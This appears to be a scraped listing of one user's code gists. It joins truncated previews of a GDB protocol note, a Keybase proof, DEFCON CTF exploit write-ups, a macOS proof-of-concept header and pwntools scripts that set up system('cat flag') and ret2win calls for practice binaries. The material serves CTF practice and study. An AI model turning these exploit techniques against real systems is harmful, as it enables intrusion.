Zach Riggle zachriggle

Lots of commands in GDB's protocol use hex-encoded data. A $ starts a packet, and all packets end with # followed by a one-byte, hex-encoded checksum.

Let's look at the protocol for the request:

remote get /proc/self/cmdline ./cmdline

Which should fetch /proc/self/cmdline and dump it to ./cmdline. It does!

$ phd cmdline

Keybase proof

I hereby claim:

I am zachriggle on github.
I am zachriggle (https://keybase.io/zachriggle) on keybase.
I have a public key ASBYNpGGwzmRUnRb5-fg2Qy7jdirdXG-ECeIbGP_Lv72oQo

To claim this, I am signing this object:

DEFCON CTF Qualifiers 2016 -- heapfun4u Exploit Write-Up

The write-up is the exploit.

Example Output

[*] './heapfun4u'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO

DEFCON Quals 2016 Pwnable -- GladOS

The write-up is basically the exploit.

	/*
	Written By Pan ZhenPeng(@peterpan980927) of Alibaba Security Pandora Lab
	use it on macOS: cc poc.c -o poc while True; do ./poc ; done
	*/

	#include <errno.h>
	#include <signal.h>
	#include <fcntl.h>
	#include <stdio.h>
	#include <stdlib.h>

	#if 0
	.PHONY: run
	run: a.out
	@./a.out

	a.out: $(MAKEFILE_LIST)
	@gcc -xc $(MAKEFILE_LIST)

	ifeq (0, 1)
	#endif

	from pwn import *

	# Set up pwntools to work with this binary
	elf = context.binary = ELF('split')

	# We need to invoke system("cat flag"), which requires knowing the
	# location of both the function 'system' as well as the string 'cat flag'.
	system = elf.symbols.system
	cat_flag = elf.search("cat flag").next()

	from pwn import *

	# Set up pwntools to work with this binary
	elf = context.binary = ELF('ret2win')

	# Enable verbose logging so we can see exactly what is being sent.
	context.log_level = 'debug'

	# Print out the target address
	info("%#x target", elf.symbols.ret2win)

	from pwn import *

	# Here's the disassembly for everything
	"""
	0804844b <vulnerable_function>:
	804844b: 55 push ebp
	804844c: 89 e5 mov ebp,esp
	804844e: 81 ec 88 00 00 00 sub esp,0x88
	8048454: 83 ec 04 sub esp,0x4
	8048457: 68 00 01 00 00 push 0x100